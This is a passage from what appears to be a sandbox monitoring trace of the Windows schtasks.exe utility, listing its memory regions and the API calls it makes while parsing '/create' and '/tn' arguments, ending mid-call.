0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffe10000" filename = "" Region: id = 3369 start_va = 0x7ff684b50000 end_va = 0x7ff684b72fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684b50000" filename = "" Region: id = 3370 start_va = 0x7ff685110000 end_va = 0x7ff68514cfff monitored = 1 entry_point = 0x7ff685134550 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\System32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe") Region: id = 3371 start_va = 0x7ffa7be80000 end_va = 0x7ffa7c040fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 3372 start_va = 0x2996d880000 end_va = 0x2996da8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d880000" filename = "" Region: id = 3373 start_va = 0x7ffa7a9a0000 end_va = 0x7ffa7aa4cfff monitored = 0 entry_point = 0x7ffa7a9b81a0 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 3374 start_va = 0x7ffa789b0000 end_va = 0x7ffa78b97fff monitored = 0 entry_point = 0x7ffa789dba70 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 3375 start_va = 0x2996d810000 end_va = 0x2996d81ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996d810000" filename = "" Region: id = 3376 start_va = 0x7ff684a50000 end_va = 0x7ff684b4ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff684a50000" filename = "" Region: id = 3377 start_va = 0x2996d880000 end_va = 0x2996d93dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 3378 start_va = 0x2996d990000 end_va = 0x2996da8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d990000" filename = "" Region: id = 3379 start_va = 0x7ffa79390000 end_va = 0x7ffa7942cfff monitored = 0 entry_point = 0x7ffa793978a0 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3380 start_va = 0xd79ca80000 end_va = 0xd79cafffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000d79ca80000" filename = "" Region: id = 3381 start_va = 0x7ffa7bd00000 end_va = 0x7ffa7bdc0fff monitored = 0 entry_point = 0x7ffa7bd20da0 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 3382 start_va = 0x7ffa7b8d0000 end_va = 0x7ffa7bb4cfff monitored = 0 entry_point = 0x7ffa7b9a4970 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3383 start_va = 0x7ffa7aa50000 end_va = 0x7ffa7ab6bfff monitored = 0 entry_point = 0x7ffa7aa902b0 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 3384 start_va = 0x7ffa78650000 end_va = 0x7ffa786b9fff monitored = 0 entry_point = 0x7ffa78686d50 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3385 start_va = 0x2996da90000 end_va = 0x2996dbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996da90000" filename = "" Region: id = 3386 start_va = 0x2996d820000 end_va = 0x2996d826fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d820000" filename = "" Region: id = 3387 start_va = 0x2996dbb0000 end_va = 0x2996dcf2fff monitored = 0 entry_point = 0x2996dbd8210 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 3388 start_va = 0x2996d940000 end_va = 0x2996d946fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d940000" filename = "" Region: id = 3389 start_va = 0x2996d950000 end_va = 0x2996d962fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "schtasks.exe.mui" filename = "\\Windows\\System32\\en-US\\schtasks.exe.mui" (normalized: "c:\\windows\\system32\\en-us\\schtasks.exe.mui") Region: id = 3390 start_va = 0x2996dbb0000 end_va = 0x2996dee6fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3391 start_va = 0x2996da90000 end_va = 0x2996db6cfff monitored = 0 entry_point = 0x2996daee0b0 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 3392 start_va = 0x2996dba0000 end_va = 0x2996dbaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996dba0000" filename = "" Region: id = 3393 start_va = 0x7ffa784d0000 end_va = 0x7ffa784defff monitored = 0 entry_point = 0x7ffa784d3210 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 3394 start_va = 0x7ffa7abc0000 end_va = 0x7ffa7ad15fff monitored = 0 entry_point = 0x7ffa7abca8d0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 3395 start_va = 0x7ffa7bb50000 end_va = 0x7ffa7bcd5fff monitored = 0 entry_point = 0x7ffa7bb9ffc0 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 3396 start_va = 0x2996da90000 end_va = 0x2996dac8fff monitored = 0 entry_point = 0x2996da912f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3397 start_va = 0x2996def0000 end_va = 0x2996e077fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996def0000" filename = "" Region: id = 3398 start_va = 0x7ffa7ab70000 end_va = 0x7ffa7abaafff monitored = 0 entry_point = 0x7ffa7ab712f0 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 3399 start_va = 0x2996d970000 end_va = 0x2996d970fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d970000" filename = "" Region: id = 3400 start_va = 0x2996d980000 end_va = 0x2996d980fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000002996d980000" filename = "" Region: id = 3401 start_va = 0x2996e080000 end_va = 0x2996e200fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996e080000" filename = "" Region: id = 3402 start_va = 0x2996e210000 end_va = 0x2996f60ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996e210000" filename = "" Region: id = 3403 start_va = 0x7ffa7ad20000 end_va = 0x7ffa7ad7afff monitored = 0 entry_point = 0x7ffa7ad338b0 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 3404 start_va = 0x2996da90000 end_va = 0x2996da90fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996da90000" filename = "" Region: id = 3405 start_va = 0x7ffa7b7c0000 end_va = 0x7ffa7b866fff monitored = 0 entry_point = 0x7ffa7b7cb4d0 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 3406 start_va = 0x2996daa0000 end_va = 0x2996daa0fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000002996daa0000" filename = "" Region: id = 3407 start_va = 0x7ffa754c0000 end_va = 0x7ffa7557efff monitored = 0 entry_point = 0x7ffa754e1c50 region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 3408 start_va = 0x7ffa78120000 end_va = 0x7ffa7814cfff monitored = 0 entry_point = 0x7ffa78139d40 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3409 start_va = 0x7ffa74cc0000 end_va = 0x7ffa74cf5fff monitored = 0 entry_point = 0x7ffa74cd0070 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 173 os_tid = 0xabc [0124.106] GetModuleHandleW (lpModuleName=0x0) returned 0x7ff685110000 [0124.106] __set_app_type (_Type=0x1) [0124.106] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x7ff6851348d0) returned 0x0 [0124.106] __wgetmainargs (in: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008, _DoWildCard=0, _StartInfo=0x7ff685148014 | out: _Argc=0x7ff685147ff8, _Argv=0x7ff685148000, _Env=0x7ff685148008) returned 0 [0124.107] _onexit (_Func=0x7ff685137ec0) returned 0x7ff685137ec0 [0124.107] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0124.107] CsrIdentifyAlertableThread () returned 0x0 [0124.107] GetProcessHeap () returned 0x2996d990000 [0124.107] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d994aa0 [0124.107] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.108] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0124.108] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0124.108] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0124.108] RtlVerifyVersionInfo (VersionInfo=0xd79ca7f650, TypeMask=0x3, ConditionMask=0x800000000001801b) returned 0x0 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d994ac0 [0124.108] lstrlenW (lpString="") returned 0 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x2) returned 0x2996d994ae0 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d994450 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d994480 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d9944a0 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d9944d0 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d994040 [0124.108] GetProcessHeap () returned 0x2996d990000 [0124.108] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d994070 [0124.109] GetProcessHeap () returned 0x2996d990000 [0124.109] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d9940a0 [0124.109] GetProcessHeap () returned 0x2996d990000 [0124.109] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998db0 [0124.109] GetProcessHeap () returned 0x2996d990000 [0124.109] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998c00 [0124.109] GetProcessHeap () returned 0x2996d990000 [0124.109] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998de0 [0124.109] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998d20 [0124.110] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d9940c0 [0124.110] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998ae0 [0124.110] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998bd0 [0124.110] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998d50 [0124.110] GetProcessHeap () returned 0x2996d990000 [0124.110] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998a80 [0124.110] SetThreadUILanguage (LangId=0x0) returned 0x409 [0124.112] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998c60 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998d80 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998ab0 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998b40 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998b70 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d994890 [0124.112] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.112] GetProcessHeap () returned 0x2996d990000 [0124.112] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x208) returned 0x2996d999720 [0124.112] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x2996d999720, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0124.112] GetFileVersionInfoSizeExW (in: dwFlags=0x1, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0xd79ca7f7a8 | out: lpdwHandle=0xd79ca7f7a8) returned 0x76c [0124.157] GetProcessHeap () returned 0x2996d990000 [0124.157] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x776) returned 0x2996d99a820 [0124.158] GetFileVersionInfoExW (in: dwFlags=0x3, lpwstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x776, lpData=0x2996d99a820 | out: lpData=0x2996d99a820) returned 1 [0124.158] VerQueryValueW (in: pBlock=0x2996d99a820, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0xd79ca7f740, puLen=0xd79ca7f7a0 | out: lplpBuffer=0xd79ca7f740*=0x2996d99abd0, puLen=0xd79ca7f7a0) returned 1 [0124.162] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.162] _vsnwprintf (in: _Buffer=0x2996d999720, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0xd79ca7f718 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0124.162] VerQueryValueW (in: pBlock=0x2996d99a820, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0xd79ca7f730, puLen=0xd79ca7f798 | out: lplpBuffer=0xd79ca7f730*=0x2996d99aa00, puLen=0xd79ca7f798) returned 1 [0124.162] lstrlenW (lpString="schtasks.exe") returned 12 [0124.162] lstrlenW (lpString="schtasks.exe") returned 12 [0124.162] lstrlenW (lpString=".EXE") returned 4 [0124.162] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0124.163] lstrlenW (lpString="schtasks.exe") returned 12 [0124.163] lstrlenW (lpString=".EXE") returned 4 [0124.163] _memicmp (_Buf1=0x2996d994890, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.163] lstrlenW (lpString="schtasks") returned 8 [0124.163] GetProcessHeap () returned 0x2996d990000 [0124.163] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998cc0 [0124.163] GetProcessHeap () returned 0x2996d990000 [0124.163] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d998cf0 [0124.163] GetProcessHeap () returned 0x2996d990000 [0124.163] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b720 [0124.163] GetProcessHeap () returned 0x2996d990000 [0124.163] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b810 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d992160 [0124.164] _memicmp (_Buf1=0x2996d992160, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xa0) returned 0x2996d9942d0 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b7e0 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b5a0 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x20) returned 0x2996d99b870 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d994780 [0124.164] _memicmp (_Buf1=0x2996d994780, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x200) returned 0x2996d99baf0 [0124.164] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x2996d99baf0, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0124.164] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x30) returned 0x2996d994380 [0124.164] _vsnwprintf (in: _Buffer=0x2996d9942d0, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0xd79ca7f718 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.164] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d99a820) returned 1 [0124.164] GetProcessHeap () returned 0x2996d990000 [0124.165] RtlSizeHeap (HeapHandle=0x2996d990000, Flags=0x0, MemoryPointer=0x2996d99a820) returned 0x776 [0124.165] RtlFreeHeap (HeapHandle=0x2996d990000, Flags=0x0, BaseAddress=0x2996d99a820) returned 1 [0124.165] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.165] GetThreadLocale () returned 0x409 [0124.165] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.165] lstrlenW (lpString="?") returned 1 [0124.165] GetThreadLocale () returned 0x409 [0124.165] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.165] lstrlenW (lpString="create") returned 6 [0124.165] GetThreadLocale () returned 0x409 [0124.165] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.165] lstrlenW (lpString="delete") returned 6 [0124.165] GetThreadLocale () returned 0x409 [0124.165] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.165] lstrlenW (lpString="query") returned 5 [0124.166] GetThreadLocale () returned 0x409 [0124.166] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.166] lstrlenW (lpString="change") returned 6 [0124.166] GetThreadLocale () returned 0x409 [0124.166] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.166] lstrlenW (lpString="run") returned 3 [0124.166] GetThreadLocale () returned 0x409 [0124.166] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.166] lstrlenW (lpString="end") returned 3 [0124.166] GetThreadLocale () returned 0x409 [0124.166] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.166] lstrlenW (lpString="showsid") returned 7 [0124.166] GetThreadLocale () returned 0x409 [0124.166] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0124.166] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.166] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.166] lstrlenW (lpString="/create") returned 7 [0124.166] lstrlenW (lpString="-/") returned 2 [0124.166] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.166] lstrlenW (lpString="?") returned 1 [0124.166] lstrlenW (lpString="?") returned 1 [0124.166] GetProcessHeap () returned 0x2996d990000 [0124.166] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d9943c0 [0124.166] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.166] GetProcessHeap () returned 0x2996d990000 [0124.166] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0xa) returned 0x2996d993950 [0124.166] lstrlenW (lpString="create") returned 6 [0124.166] GetProcessHeap () returned 0x2996d990000 [0124.166] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x18) returned 0x2996d993970 [0124.166] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.166] GetProcessHeap () returned 0x2996d990000 [0124.167] RtlAllocateHeap (HeapHandle=0x2996d990000, Flags=0xc, Size=0x14) returned 0x2996d993990 [0124.167] _vsnwprintf (in: _Buffer=0x2996d993950, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.167] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.167] lstrlenW (lpString="|?|") returned 3 [0124.167] lstrlenW (lpString="|create|") returned 8 [0124.167] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.167] lstrlenW (lpString="create") returned 6 [0124.167] lstrlenW (lpString="create") returned 6 [0124.167] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.167] GetProcessHeap () returned 0x2996d990000 [0124.167] HeapValidate (hHeap=0x2996d990000, dwFlags=0x0, lpMem=0x2996d993950) returned 1 [0124.167] GetProcessHeap () returned 0x2996d990000 [0124.167] RtlReAllocateHeap (Heap=0x2996d990000, Flags=0xc, Ptr=0x2996d993950, Size=0x14) returned 0x2996d9939b0 [0124.167] lstrlenW (lpString="create") returned 6 [0124.167] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.167] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.167] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.167] lstrlenW (lpString="|create|") returned 8 [0124.167] lstrlenW (lpString="|create|") returned 8 [0124.167] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0124.167] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.167] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.167] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.167] lstrlenW (lpString="/tn") returned 3 [0124.167] lstrlenW (lpString="-/") returned 2 [0124.167] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0124.167] lstrlenW (lpString="?") returned 1 [0124.167] lstrlenW (lpString="?") returned 1 [0124.168] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.168] lstrlenW (lpString="tn") returned 2 [0124.168] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.168] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x4, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|?|") returned 3 [0124.168] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.168] lstrlenW (lpString="|?|") returned 3 [0124.168] lstrlenW (lpString="|tn|") returned 4 [0124.168] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.168] lstrlenW (lpString="create") returned 6 [0124.168] lstrlenW (lpString="create") returned 6 [0124.168] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.168] lstrlenW (lpString="tn") returned 2 [0124.168] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.168] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|create|") returned 8 [0124.168] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.168] lstrlenW (lpString="|create|") returned 8 [0124.168] lstrlenW (lpString="|tn|") returned 4 [0124.168] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0124.169] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.169] lstrlenW (lpString="delete") returned 6 [0124.169] lstrlenW (lpString="delete") returned 6 [0124.169] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.169] lstrlenW (lpString="tn") returned 2 [0124.169] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.169] _vsnwprintf (in: _Buffer=0x2996d9939b0, _BufferCount=0x9, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|delete|") returned 8 [0124.169] _vsnwprintf (in: _Buffer=0x2996d993990, _BufferCount=0x5, _Format="|%s|", _ArgList=0xd79ca7f728 | out: _Buffer="|tn|") returned 4 [0124.169] lstrlenW (lpString="|delete|") returned 8 [0124.169] lstrlenW (lpString="|tn|") returned 4 [0124.169] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0124.169] RtlRestoreLastWin32Error () returned 0xd79c85d000 [0124.169] lstrlenW (lpString="query") returned 5 [0124.169] lstrlenW (lpString="query") returned 5 [0124.169] _memicmp (_Buf1=0x2996d9943c0, _Buf2=0x7ff685139eb0, _Size=0x7) returned 0 [0124.169] lstrlenW (lpString="tn") returned 2 [0124.169] _memicmp (_Buf1=0x2996d993970, _Buf2=0x7ff685139eb0, 